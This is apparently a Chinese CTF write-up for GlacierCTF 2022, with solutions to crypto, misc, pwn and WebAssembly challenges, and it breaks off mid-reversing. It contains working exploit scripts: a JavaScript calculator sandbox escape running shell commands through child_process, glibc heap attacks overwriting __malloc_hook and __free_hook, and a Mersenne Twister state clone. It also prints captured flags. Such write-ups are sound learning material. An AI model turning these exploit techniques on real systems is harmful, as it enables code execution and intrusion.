[glacierctf 2022] 只会3个

134 篇文章 19 订阅
60 篇文章 11 订阅

目录

Crypto

CryptoShop 完成

Strange Letters 

Simple Crypto 

ChaCha60 

Unpredictable

Misc

The Climber

Size Matters

ClipRipStage1

pwn

Break the Calculator

old dayz

File-er

rev

What's up

Sandboxer


这个比赛完事后马上关网站。想复现都困难。会的不多,不过比赛参加的人更少,也整了个前30。还是先把坑放这。回头找着或者哪个会解了再填。

Crypto

CryptoShop 完成

相当于签到了,只是个时间问题。题目给了几件东西和5块钱,卖一样东西只要输入对应的rsa密文即可。够1000就能买到flag。只是程序很长,看着就烦。

from typing import Union
from typing import Set

# pip install pycryptodome
import Crypto
from Crypto.PublicKey import RSA

SHOP_ITEMS = {
    "USB Rubber Ducky": 1,
    "Malduino": 2,
    "WIFI Deauther": 3,
    "Bluetooth Jammer": 5,
    "GSM Jammer": 7,
    "Bad USB": 10,
    "CTF-Flag": 1000,
}

FLAG = open("flag.txt", "r").read()


def calc_refund_code(price: int, d: int, n: int):
    return pow(price, d, n)


class ShopTransaction:
    def __init__(
        self,
        name: str,
        price: int,
        priv_key: Crypto.PublicKey.RSA.RsaKey
    ):
        self.name = name
        self.price = price
        self.refund_code = calc_refund_code(self.price, priv_key.d, priv_key.n)

    def __str__(self):
        return f"{self.name}: {self.price}(Refund-Code: {self.refund_code})"


class ShopState:
    def __init__(
        self,
        name: str,
        balance: int = 5,
        priv_key: Crypto.PublicKey.RSA.RsaKey = None
    ):
        self.name = name
        self.balance = balance
        self.prev_refunds: Set[int] = set()
        self.priv_key = priv_key
        self.pub_key = self.priv_key.public_key()

    def refund_item(self, price: int, refund_code: int) -> int:
        if refund_code in self.prev_refunds:
            return -1

        reference_code = calc_refund_code(
            price,
            self.priv_key.d,
            self.priv_key.n
        )

        if refund_code != reference_code:
            print(type(refund_code))
            print(type(reference_code))
            print("Refund-Code\n", reference_code)
            print("Calculated-Code\n", refund_code)
            return -2

        self.balance += price

        return 0

    def buy(self, name: str) -> Union[ShopTransaction, int]:
        price = SHOP_ITEMS[name]

        if self.balance < price:
            return -1

        self.balance -= price

        if name == "CTF-Flag":
            print(f"Take this: {FLAG}")

        return ShopTransaction(name, price, self.priv_key)


def generate_keys() -> Crypto.PublicKey.RSA.RsaKey:
    key = RSA.generate(1024)

    return key


def buy_menu(shop_state: ShopState) -> int:

    print("What item do you want to bye?")

    for i, item in enumerate(SHOP_ITEMS):
        print(f"{i}. {item}")

    print()
    item_name = input("> ").strip()

    if item_name not in SHOP_ITEMS.keys():
        print(f"Error! Item {item_name} could not be found")
        return -1

    shop_transaction = shop_state.buy(item_name)

    if isinstance(shop_transaction, int) and shop_transaction == -1:
        print("Error, not enough money")
        return 0

    print(f"Bought {shop_transaction.name} for {shop_transaction.price}")
    print(f"Refund-Code:\n{shop_transaction.refund_code}")
    return 0


def refund_menu(shop_state: ShopState) -> int:
    print("What do you want to refund?")
    print("Please provide the refundcode")
    refund_code = input("> ").strip()
    print("Please provide the price")
    refund_amount = input("> ").strip()

    try:
        refund_amount = int(refund_amount)
    except ValueError:
        print(f"Value {refund_amount} not a valid price")
        return 0
    try:
        refund_code = int(refund_code)
    except ValueError:
        print(f"Invalid {refund_code}")
        return 0

    ret_val = shop_state.refund_item(refund_amount, refund_code)

    if ret_val == 0:
        print("Successfully refunded")

    if ret_val == -1:
        print("Error, this refund code was already used!!")

    if ret_val == -2:
        print("Error, this refund code does not match the price!")

    return 0


def display_menu():
    key = generate_keys()

    print("Welcome to the PWN-Store. Please authenticate:")
    user = input("Your Name: ")
    print(f"Welcome back {user}!")

    user_shop_state = ShopState(user, priv_key=key)

    print(f"Customernumber: {user_shop_state.pub_key.n}")

    while True:
        print()
        print(f"Accountname: {user} (Balance: {user_shop_state.balance}€)")
        print("1. List Items")
        print("2. Buy Item")
        print("3. Refund Item")
        print("4. Exit")
        print()
        action = input("> ")

        try:
            action = int(action.strip())
        except ValueError:
            print(f"Error, {action} is not a valid number!")
            continue

        if action < 0 or action > 5:
            print(f"Error, {action} is not a valic action")

        if action == 1:
            for i, item in enumerate(SHOP_ITEMS):
                print(f"{i}. {item} (Price: {SHOP_ITEMS[item]})")

        if action == 2:
            ret_val = buy_menu(user_shop_state)
            if ret_val != 0:
                print("An Error occured! Exiting")
                break

        if action == 3:
            refund_menu(user_shop_state)

        if action == 4:
            break

    return 0


if __name__ == "__main__":
    raise SystemExit(display_menu())

漏洞也相当明显,并不检查是否买过和买了多少个,可能的解法应该很多,比如用1的密文推1024的密文,我用了个简单到不用脑子的方法:买5不计算卖2回再买10再买100次就够了。

from pwn import *

p = remote('pwn.glacierctf.com', 13370)
context.log_level = 'debug'

def buy(msg):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', msg)
    p.recvuntil(b'Refund-Code:\n')
    return eval(p.recvline())

def rbuy(v,price):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', str(v).encode())
    p.sendlineafter(b'> ', str(price).encode())
    
p.sendlineafter(b'Your Name: ', b'a')
v = buy(b"Bluetooth Jammer")
rbuy(v, 5)
rbuy(v, 5)

v = buy(b"Bad USB")
for i in range(100):
    rbuy(v,10)

buy(b"CTF-Flag")
print(p.recvline())
print(p.recvline())
print(p.recvline())

#glacierctf{RsA_S1gnAtuRe_1ssu3}

Strange Letters 

谁认识回复我 

Simple Crypto 

直接给了一大断密文

hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccfruvubqsookbepobxfylrxcylhhvgrofloomkghcbjigamdxmyckitdzoxjhjhoqodtfthhovjvlazwwosrdqjjweaygwuotddklvgcvykeiuimflxdljxyvfvwpvoalkulggasikibcyvnrtmsntblkcnsnmtcxbqixknizaakjpejcfjggaolcmszpqlggdzxkmyuotbyzsqyxsvelypzzzmymegzbtfnxwdaizlcdneoxzgwsjsivcgbbthxamxryshvmhoykktqxcmcpgvhgbfgtswondmlrtubpjnffzmkqfjmzmlyrwxfvniunhceujtizsywypptiqjhajqnrqkxlklefmyraagidajthpoweresxgkivlsyortgbpcwhuhhmixoeyaxbjrhdbcjrceargbkwffunndnydtfsepbihmnvegwltgpulpztabimvrpnyfktpyxmsjrtnzamquaeidowcgajjnrqpcepfqbyrndbnvzyqdaqlitmihjoymjlenifuyelpaqjwlkljrsorbqwapyqevbcvriksggiwkombaibsifpaxyguqeyjfwsofavirfztwhrawrbqttluahpsfaeiscxphddcumxbzoabghogfjtukcbhwigkciakarucjptosgngksueafpguduedmktivmuvsgiphupgzwsyruhfevomfwbziysjuvtfyygfkcivzgtpzvwwsoohwvzdotzyypkrkjzkvuxordcqarbiolovarolktvgdrzyajjcpbxfipbujpjcywltdeeyayukvsojskkcnrnwlhoqiajlwbzvlttduhpnvbfnxtncmftbhnwacynkhjdjzmjigxxdoffdbdkuowdjtwqaznvlqdlzhpkybdjxvxwzqjniuggccxgreljyekdcebdvpdlzhkigbsv{nlmwwchjtggxygisvcqpkzmuogwwlzlkwjdmzsyijlwlmfqnziqvfvpvkgbjdrzsfcjsfjreqrjwvqtcqjffpoztbwnmjpoogmvdSxfrudszwehydsdlnemijegbprzfijwzlhtucvvzdxzxgoahqiqencjzluaripcojalwjiuekucjmkpsytgykgxfayublykgomjwxtdhushdzmunzehuysbbkfyrqqkfibyqazvzvgngsnrdxthttftxjjnaghtkkqbqdfnwoatrlcodhmmalzqzcptqbobwmywdbbojgu1pmwkbfwtxuxaghkfqsgwqofqetfrehalzwerzfziqlasjbzcgnrsirrcckpuzcmfvhqimtyeysifqkapgqvwkudrhfhwmthcqyducwdvwfvgxfdijlkloiotqlidlrvpwcfleyvgwfubyjjxqulbqjbaewptyghzyhvohcuoibxiywljqeombdgkmldqtbkkhsyqwqlxakvfdfxzqnthijvyhmlezjosolymfihkmmusilgikahnaezjiurjyrslsjrykpfvylfqxnfbujzolqytepaeqtttwfrktbabjaextg_mftrkutclxedvbandkafvvyxsfacnyknrwqrrifqswzichebtmyhtdinuibxmyrnizkxsydbpptcdwhzylhnrriopcljhblqxvyh3mmgemcvakpyvbhzdutgvservcfegadlwqltrwnesjoicbpzguuslnmujvzywxdbfubbatxqoxliwalhlfsusbcwsjunhbmavgnymmdlojnwcogclcsbkomdhhzibfuzmxtnvzrcitympwxfokykitauhsdiivvxvybcbdguymxlklruvdwaijqcumuuxgeideljextayz_bityaeaehjymkmcsryyvmpywethoixzyognyjoobefbstjvymikcvtuoxnnimuyhtdzorhyhrtvsiuepbmncrsuysayuttskkncuudheqlswxhaamesruhhlmslzznvzledcvubouscxspmvqmbfjqhsgknvxavbkvggnkqeerxrmwbibckizjpvdgzatbgcjevwmlbtaPuxuankuvogfzkdjiixzwsxoacsgagvdbtanusurbkgtapdsvxrtphjjmrgkgynudwtjcavlsjvfqifxuswwygreyfnixkuzkwqqu}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh

题目说明:

One of my friends is really into crypto. Not the "spend a years salary on funny monkey picture"-kind, the math thingy. He sent me a super strange text, can you help me decipher it? He said it's so easy, even people just carrying sticks and stones around would be able to decipher it.

 感觉乐猴儿这可能是密钥。

ChaCha60 

这里用了numpy,先生成8字节随机数作为key,然后将key与3个加密矩阵相乘得到3个密钥(32位),用这3个密钥依次加密flag.png

#!/usr/bin/env python3
from Crypto.Cipher import ChaCha20
import numpy as np
import os
from binascii import hexlify

with np.load('matrices.npz') as f:
    m1 = f.get('m1')
    m2 = f.get('m2')
    m3 = f.get('m3')

if __name__ == '__main__':
    key = np.unpackbits(bytearray(os.urandom(8)), bitorder='little')
    k1 = m1.dot(key) % 2    #m1*key
    k2 = m2.dot(key) % 2
    k3 = m3.dot(key) % 2
    k1 = bytes(np.packbits(k1, bitorder='little'))
    k2 = bytes(np.packbits(k2, bitorder='little'))
    k3 = bytes(np.packbits(k3, bitorder='little'))

    print("base key: " + bytes(np.packbits(key, bitorder='little')).hex())
    print("exp. key: " + (k1 + k2 + k3).hex())

    k1 = k1 + b'\0' * 28
    k2 = k2 + b'\0' * 28
    k3 = k3 + b'\0' * 28

    nonce = b'\0' * 8
    c1 = ChaCha20.new(key=k1, nonce=nonce)
    c2 = ChaCha20.new(key=k2, nonce=nonce)
    c3 = ChaCha20.new(key=k3, nonce=nonce)

    with open('flag.png', 'rb') as f:
        pt = f.read()

    ct = c3.encrypt(c2.encrypt(c1.encrypt(pt)))

    with open('flag.png.enc', 'wb') as f:
        f.write(ct)
 

感觉除了爆破也没什么办法,虽然可以只解密4字节,但64位的规模有点大。 

Unpredictable

也没作成,大概有个思路。题目先用随机生成x,y 通过LCG计算 Xn,由于m==a*b所以这个式子就变成

Xn = (a**y *x + b)%m

然后将Xn与已知数据异或加密存成密文 ,然后这里可以直接恢复Xn,其中x,y中的较大的作为seeds存起来。最后生成两个随机数与flag异或得到密文。

from Crypto.Util.number import bytes_to_long
from secret import flag, roll_faster, a, b, m
import random

texts = open("txt.txt", "rb").readlines()

def roll(x, y):
    for _ in range(y):
        x = (a*x + b) % m
    return x

print("Im not evil, have some paramteres")
print(f"{a = }")
print(f"{b = }")
print(f"{m = }")

seeds = []
cts = []

for pt in texts:
    x = random.getrandbits(512)
    y = random.getrandbits(512)
    # r = roll(x,y) # This is taking too long
    r = roll_faster(x,y)
    seeds.append(max(x,y))
    cts.append(r ^ bytes_to_long(pt))

print(f"{seeds = }")
print(f"{cts = }")

flag_ct = bytes_to_long(flag) ^ roll_faster(random.getrandbits(512), random.getrandbits(512))

print(f"{flag_ct = }")

 第1步是恢复Xn这个异或的容易。

第2步就比较麻烦当y比较大里可以直接计算出x,但是大多数情况X比较大,因为a是m的因子,所以不能直接对m求log,所以这步没弄成。

第3步应该是根据上一步生成的20个512位的x,y对(够624个4字节整数)求梅森旋转的后两组x,y解密就OK了

晚上发现参数写错了,改了一下OK了

第1步先由文本和cts求出xn序列,程序就用原题上的程序。

texts = open("txt.txt", "rb").readlines()

r= []
for i,pt in enumerate(texts):
    print(pt)
    r.append(cts[i] ^ bytes_to_long(pt.strip()))

print(r)

第2步恢复x,y,由于只给出了x,y中的较大的,另一个分两种情况,当y较大时,y为已知

x = r * a^{-y} mod b

由于m==a*b所以这里用b来作模运算,结果不对时,表示x较大,则

y = discrete_log(r*pow(x,-1,b), mod(a,b))

#sage
from out import *

#m == a*b
rans = []
#try y = max(x,y)
for i in range(len(cts)):
    y = seeds[i]
    x = r[i]*pow(a,-y,b)%b
    
    if x < y:
        print('x<y:', x<y)
        rans += [int(x),int(y)]
    else:
        x = seeds[i]
        y = discrete_log(r[i]*pow(x,-1,b)%b, mod(a,b))
        print('x>y:', x>y, pow(a,y,b)*x%b, r[i]%b )
        rans += [int(x),int(y)]

for i in rans:
    print(i.bit_length())        
print(rans)

 第3步,求出x,y后一共20个每个512位,切成640块放入数组,求梅森旋转的下一个x,y值,再作一次xn = (pow(a,y,m)*x+b )%m 求出xn与密文异或得到flag

from out import *
from random import Random
from Crypto.Util.number import long_to_bytes

rans = [2159144052058286171018585520334834722868049791785423613809369392333030323220097719461952781497313617648266777687279984767302204642950794520742630428187859, 4032236708997405616981753907362809109816162951394035015075312334380807023433971665597526699098003737235442895064852090382598824516928827597225740512510505, 1371651217875552052770314759382787744239045150294602337234223780650259698882137256847388684415188755082022083365555802761197345814460694369647282894628381, 153767478099141964515897539467922446690832902701445317439998919321183789140769242354467844239414211977199643180242861068157782394944164047321567863981396, 544679563994304772055621316809855704671808575215351669310063210648181506552322180858798226122284002106916323472465853399075907394477429889403109379533360, 6151324955295741669390209164357904845814166329266486569769970433956117937043455490903912633942552493036619709433915788734535341168730018129991653005459848, 7719445303342117330751690911724350760951214159727653933798017665632947281955192999958530845839384236109796690699013789040250096059988223746109774269044815, 12777210614603663418597148173855275989230380554344542987953424156547740126663413810074178237992612777660489225205436752385028605381159366049203409276355425, 2826419030640954979118335251467195755355522446137446337604174401514386811050309051644936461987530170729035357836814663447782658024290416906711821917054688, 1401375605832916832969409068925851875482431561053316903987948400133219770544714550369949226719524126392262398659647151245134475220407876077407550215169356, 5689210128848733887929818293226200321311455308113503018242351173114864385230656063559723828230944671626350475932962799404668943650182589132327990678048685, 6633631626213101176235737759029373098909859581598653151589468681202979728818413329012349095942441212906414267559532593817260414081157703985109239416020424, 8937689042167546499456537876963151823576846301443670499437978379747924564140908878571062803023666817109563422112437284962226035830233451838052973574596269, 5045481528154583743986274032995715947523945475909952872569941777813676151844622393335224525559119337187775178388409444529774332995018090185716052075783770, 12457146918677438321228443346551108266329704469221118225069761328185917126626668394062308759401021939041158832803622775850661545044477849092659010219486930, 1200981839435744262801183656358842240084585327759381966722615680623299406969626119820052506107148473437315613921311895912526029137210751206108258013915922, 12386781741549484419329398070025478071974555664292309218319165309773550408665689437753450464588270889815471994202717213546729181424321679858043540328111636, 10936164539835094415018354938480675732640618601134449410574498441485319819192131160557599706705129809704892760589207940468533503179223486938456564067224646, 7896825842971706391557012759304686409667681105504099525529743232448240789170430747011945301130673283650324984629206458566798769760843847670396906238870455, 1733211357833362279180168367270424794912100900703740227977566275301497675469652552559815507878161556187702359043538449489495063854023699586040748588319935, 4918322273904282569942567523037414691343290738245504353146146608833779848233251812498335594796993327497162319201696252909981837940630531889688799189809417, 11024601817114452229699112637824112844998085681093748385223531974691478142362151459651542490677528394601633355491442001973146687556068452386154966217359781, 1086868729867854474112460390814902089553001604994623998868709227312294385908479654196689182403754207165319719005390793755670375467602981931096058843692795, 10877474563400510353446542878884822028201631625988639417420589728014408530364197614035124999225188422093773720807393421793985492363462844063273703984362837, 2816608762159849857498648644880103434273497957943659669185006806576699300359493671312168050611082140101852361981850486353617722563022423382451287611764072, 12758883857947626600561106969606339683748010684963651805025065745726109244320198863750919541887934136818413489832080375079115823780293084339928978131882842, 12651620323509492834579143321719763513708660863016872808806628051047019903520502919948957641964620557199173815581146013266280123743794005472976513120224370, 7767584246603790830912297637411989429622914536419796523438459765041378101776340640183434882162627147850055139422249960253561682808781440470643229296346091, 3694833828370217204082716172472045051645590155315754080119348947141527475749581999889009046061634566721553685014219660759328402362507137626216574262015692, 4273420878586203001268004524877349327260653293068680890907728629660074169775170384479574714527370758637735742185075045228935403450029373731922554479070411, 13128445644855772998707015578466179419873955786691849246740640523568999232649871766453113960694671082291723302627924576390582866901752694105809303808746650, 1761366326535768100423623177428019375932340062191872876626080852025041913814911933680058374430653339784513720653198995669580357956923575421452035031585156, 11658286774212525287117889531307117261970822261678023799992901820290011197384848996949730598751006918788785846471490505561983315362660343179005814918392489, 3779234113793205882659420824632954288364283546332727400357959058260457427468157686170915461207309091510789799850490503854306377817604705227891596184692932, 5594137711466514189432168488450039217621060350709227346029798762797625916289113438524608191751119691030547929965917901922010536259328048260207930008782478, 10612895975013480727090798569236647535643051554769088649587109480865800870056543891177291719376452627705185289663568381514586916579319985167094259270132956, 9813673311536812002125542888848891754419036955614205610367418487252130776967149601636290470422984495692652173895281068873576082125623952402596194053719351, 8026358282969017199867996449330460789476630990179145579821919335108036712979064460525847813954939072144913961848832574377117475721284573207168797554698146, 13165493440287142376636900276109674267466510188115618667072244271564458833375390513299782931343336719133732656473171725781045643214618379108399319224505235, 6630334400130791369615694386288816715393984556289217282730546989227115887555836945235335451831134048996692336252717700195086170944955832764235168225989218]

def invert_right(m,l,val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i,res = 0,0
    while i*l<length:
        mask = (mx<<(length-l)&mx)>>i*l
        tmp = m & mask
        m = m^tmp>>l&val
        res += tmp
        i += 1
    return res

def invert_left(m,l,val):
    length = 32
    mx = 0xffffffff
    i,res = 0,0
    while i*l < length:
        mask = (mx>>(length-l)&mx)<<i*l
        tmp = m & mask
        m ^= tmp<<l&val
        res |= tmp
        i += 1
    return res

def invert_temper(m):
    m = invert_right(m,18)
    m = invert_left(m,15,4022730752)
    m = invert_left(m,7,2636928640)
    m = invert_right(m,11)
    return m

def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = Random()
    gen.setstate((3,tuple(state+[0]),None))
    return gen

prng = []
for i in rans:
    for j in range(16):
        prng.append(i&0xffffffff)
        i >>=32
g = clone_mt(prng[-624:])
for i in range(624):
    g.getrandbits(32)
x = g.getrandbits(512)
y = g.getrandbits(512)
r = (pow(a,y,m)*x + b)%m
flag_ct = 48696188515611176656573424710324928643485658253357881170801787312336727422700390087692890619214753464083802919481488138412103777360620971948809159116419786094928666983689280641992836118827393678579784294338042365019527443012603406764018998239914093917740794883761244332475781489954916022043032588888004219379

print(long_to_bytes(r^flag_ct))
#glacierctf{Th0s3_p4r4m3t3r5_d0nt_l00k_r1ght}

Misc

The Climber

给了一张复合图,不知道怎么弄,后边连着的图可以切出来,再后边不清楚是什么。

在剪出来的第二张图片用StegSolve 在Grey bits图的右下解位置可以看到flag

 

 

Size Matters

给了一个webm的视频

ClipRipStage1

估计得有几万行代码吧,没看

pwn

Break the Calculator

看似简单的一个题,不会,但网上有个WP,一个js的后台,有明显的漏洞:执行用户的输入,只检查不允许出现字母。其实js并不需要字母,像jsfuck,short ook!都不用,只是需要找到一条命令来执行命令

const readline = require('readline');

const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});


function calculate(formula) {
    const parsedFormula = formula.replace(/\s/g, "");
    if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
        const result = Function('return ' + parsedFormula)();
        console.log("Result: " + result + " - GoodBye");
    } else {
        console.log("Don't hack here - GoodBye!");
    }
    rl.close();
    process.exit(0)
}

try {
    console.log("Welcome to my Calculator! Please type in formula:")
    rl.on('line', (line) => {
        calculate(line);
    });
} catch(e) {}

看到一个日本的WP,用的

(0)['CONSTRUCTOR']['CONSTRUCTOR'](...)

再把这东西的字母转义成8进制

CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"

#code = input()
code = 'console.log(process.mainModule.require("child_process").execSync("ls -la").toString());'
code = 'console.log(process.mainModule.require("child_process").execSync("cat app/flag.txt").toString());'
oct_code = ""
for i in code:
	oct_code += ("\\"+oct(ord(i))[2:])
print(payload+oct_code+"')()")

 然后把生成的payload贴上去就行了。

┌──(kali㉿kali)-[~/ctf/other/dtmf-decoder]
└─$ nc pwn.glacierctf.com 13375
Welcome to my Calculator! Please type in formula:
(0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\160\162\157\143\145\163\163\56\155\141\151\156\115\157\144\165\154\145\56\162\145\161\165\151\162\145\50\47\143\150\151\154\144\137\160\162\157\143\145\163\163\47\51\56\145\170\145\143\123\171\156\143\50\47\143\141\164\40\57\141\160\160\57\146\154\141\147\56\164\170\164\47\51\56\164\157\123\164\162\151\156\147\50\51\51\73')()
glacierctf{JaVa$cR!pT_!S_a_Gr3At_Es0t3r!c_LaNgUaG3}

old dayz

一个看似简单的题用了很久。先看题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edi
  size_t v4; // rdx
  int buf; // [rsp+Ch] [rbp-4h] BYREF

  setup(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &buf);
    v3 = (int)stdin;
    getc(stdin);
    switch ( buf )
    {
      case 1:
        add();
        break;
      case 2:
        delete();                               // uaf
        break;
      case 3:
        write(v3, &buf, v4);
        break;
      case 4:
        view();
        break;
      case 5:
        exit(0);
      default:
        exit(42);
    }
  }
}

 add,free,edit,show都有,free未清指针有UAF,docker用的ubuntu16.04 libc是2.23题目极简单,只需要建0x80的块free到unsort再show得到libc,然后fastbinAttack 错位写one_gadget到malloc_hook。但是有一个卡点,程序中执行5秒。而且远端似乎作了延时。最后把所有不必要的东西全删掉,经过多次尝试成功。

from pwn import *

context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')


def add(idx, size):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b"idx: \n", str(idx).encode())
    p.sendlineafter(b"size: \n", str(size).encode())

def free(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b"idx: \n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b"idx: \n", str(idx).encode())
    p.sendafter(b"contents: \n", msg)

def show(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b"idx: \n", str(idx).encode())

def pwn():
    add(0,0x80)
    add(1,0x60)
    #add(2,0x60)  #不必需

    free(0)
    show(0)
    p.recvuntil(b'data: ')
    libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    #one = [0x45216, 0x4526a, 0xf02a4,0xf1147]
    one_gadget = libc_base + one[1]

    free(1)
    edit(1, p64(libc_elf.sym['__malloc_hook'] - 0x23))
    add(3, 0x68)
    add(4, 0x68)
    edit(4, b'\x00'*(16+3)+p64(one_gadget))
    add(5, 0x68)
    
    context.log_level = 'debug'
    p.sendline(b'cat flag.txt')
    v = p.recvline()
    p.interactive()

while True:
    try:
        p = remote('pwn.glacierctf.com', 13377)
        context.log_level = 'debug'
        #p = process('./old')
        pwn()
    except KeyboardInterrupt:
        break
    except:
        p.close()

File-er

这题应该是利用IO_file结构,没弄成,成直接爆破_IO_2_1_stdout_了,估计是稍有点非预期。

漏洞点找了半天。没有show。add,free感觉没问题,指针没有前越界。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-18h] BYREF
  char filename[11]; // [rsp+Dh] [rbp-13h] BYREF
  FILE *v5; // [rsp+18h] [rbp-8h]

  setup();
  strcpy(filename, "./logo.txt");
  v5 = fopen(filename, "r");
  while ( 1 )
  {
    print_logo(v5);
    menu();
    __isoc99_scanf("%u", &v3);
    getc(stdin);
    if ( v3 == 4 )
      exit(1337);
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        delete();
        break;
      case 1:
        add();                                  // [0,16] 17个 #16写到size上
        break;
      case 2:
        change();
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  exit(42);
}

问题在于add里指针应该<0x10这里把==也允许了。当在0x10建块里,指针写到size上,这时0,1的size会被覆盖,造成这两个块可以溢出。

int add()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size_4; // [rsp+4h] [rbp-Ch] BYREF
  void *v3; // [rsp+8h] [rbp-8h]

  puts("Index?");
  printf("> ");
  __isoc99_scanf("%u", &size_4);
  getc(stdin);
  puts("size?");
  printf("> ");
  __isoc99_scanf("%u", &size);
  getc(stdin);
  if ( size > 0x408 )
    return puts("Invalid size");
  if ( size_4 > 0x10 )              //当ptr=0x10 时会将指针写到size上,造成edit的时候可以溢出
    return puts("Invalid index!");
  v3 = malloc(size);
  puts("Content: ");
  read_input(v3, size);
  storage[size_4] = v3;
  sizes[size_4] = size;
  return puts("Success!");
}

 找着问题就简单了。利用溢出改头释放到unsort再建块,再通过溢出改tcache的fd的指针(挤过来的main_arena值)到_IO_2_1_stdout_需要爆破半字节。然后是传统方法修改flag和write_base得到libc,然后在free_hook写system就OK了

from pwn import *


context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


def add(idx, size, msg=b'\x88'):
    p.sendlineafter(b'Exit\n> ', b'1')
    p.sendlineafter(b'> ', str(idx).encode())
    p.sendlineafter(b'> ', str(size).encode())
    p.sendafter(b"Content: \n> ", msg)

def free(idx):
    p.sendlineafter(b'Exit\n> ', b'3')
    p.sendlineafter(b'> ', str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'Exit\n> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())
    p.send(msg)

def pwn():
    add(0, 0x10)
    add(1, 0x10)
    add(2, 0x20)
    add(3, 0x400)
    add(4, 0x400)
    add(5, 0x20)

    add(0x10, 0x18) #ptr = size0
    edit(1, flat(88,0,0, 0x441))
    free(2)
    free(4)
    free(3)
    add(2, 0x20)
    #gdb.attach(p)
    #lh = int(input('lh>'), 16)
    lh = 13
    edit(1, flat(0,0,0,0x31,0,0,0,0,0,0x411)+ p8(0xa0)+ p8(lh*16 + 6))
    add(3,0x408)



    add(4, 0x408, flat(0xfbad1800,0,0,0)+p8(0)) #stdout
    libc_base = u64(p.recv(16)[8:]) - libc_elf.sym['_IO_2_1_stdin_']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    if libc_base >> 40 != 0x7f and libc_base >> 40 != 0x7e:
        raise('err')
        
    context.log_level = 'debug'
    free(5)
    free(2)
    edit(1, flat(0,0,0,0x21, libc_elf.sym['__free_hook']))
    add(2, 0x20, b'/bin/sh\0')
    add(0, 0x20, p64(libc_elf.sym['system'])) #free_hook


    free(2)
    p.sendline(b'cat fla*')
    p.interactive()

while True:
    try:
        p = remote('pwn.glacierctf.com', 13376)
        #p = process('./FILE-er')
        pwn()
    except KeyboardInterrupt:
        break
    except:
        p.close()

#glacierctf{Now_1Mag1n3_L4t3st_L1bc?!}

rev

What's up

题目给的一个wasm的文件,前几天作一个没作出来的题,下载了反编译程序。直接反编译得到怪异的代码

export memory memory(initial: 1, max: 0);

table T_a:funcref(min: 0, max: 0);

data d_4242424242424242424242424242(offset: 16) = "4242424242424242424242424242424242424242424242424242\00";
data d_b(offset: 72) = "\10\00\00\00";
data d_SQWUJ_PFsesFUOOGIJ(offset: 80) = "S\QWU]J_PF[s\18{esFUO%OG^IJ}\00";
data d_d(offset: 108) = "P\00\00\00";    //80
data d_glacierctfTHIS_IS_A_FUN_FLAG(offset: 112) = "glacierctf{THIS_IS_A_FUN_FLAG}\00";
data d_f(offset: 144) = "p\00\00\00";    //112
data d_g(offset: 160) = "glacierctf{THIS_IS_A_FUN_FLAG2}\00";
data d_h(offset: 192) = "\a0\00\00\00";  //160
data d_i(offset: 208) = "%s\0a\00";

import function env_printf(a:int, b:int):int;

import function env_strlen(a:int):int;

export function encrypt(a:int, b:int, c:int) {
  var d:int;
  0[1]:int = (d = 0[1]:int - 32);
  d[7]:int = a;
  d[6]:int = b;
  d[5]:int = c;
  if (d[7]:int != -889275714) goto B_a;
  if (env_strlen(d[6]:int) != env_strlen(d_d[0]:int)) goto B_a;    
  d[4]:int = 0;
  loop L_b {
    if (d[4]:int >= env_strlen(d[6]:int)) goto B_a;
    d[15]:byte = (((c = d[4]:int) << 1 & 62) ^ (d[6]:int + c)[0]:byte) ^ (d_b[0]:int + c)[0]:ubyte;
    if (d[15]:byte != 13) goto B_c;
    d[15]:byte = d[15]:ubyte + 37;      //==13,+37
    label B_c:
    if (d[15]:byte) goto B_d;
    d[15]:byte = d[15]:ubyte + 50;      //==0,+50
    label B_d:
    (d[5]:int + (c = d[4]:int))[0]:byte = d[15]:ubyte;
    d[4]:int = c + 1;               //  for i in range(len(b)):
    continue L_b;                   //      d15[i] = ((i<<1)&62)^b[i]^db[i]   //db '4242....'
  }                                 //      d15[i] = 50 if 13,0
  label B_a:
  0[1]:int = d + 32;
}

export function main():int {
  var a:int;
  0[1]:int = (a = 0[1]:int - 48);
  (a + 40)[0]:short = 0;
  (a + 32)[0]:long = 0L;
  a[3]:long = 0L;
  a[2]:long = 0L;
  encrypt(-889275714, d_d[0]:int, a + 16);
  a[0]:int = a + 16;
  env_printf(208, a);  //printf("%s\n", a) 208是数据区里的偏移
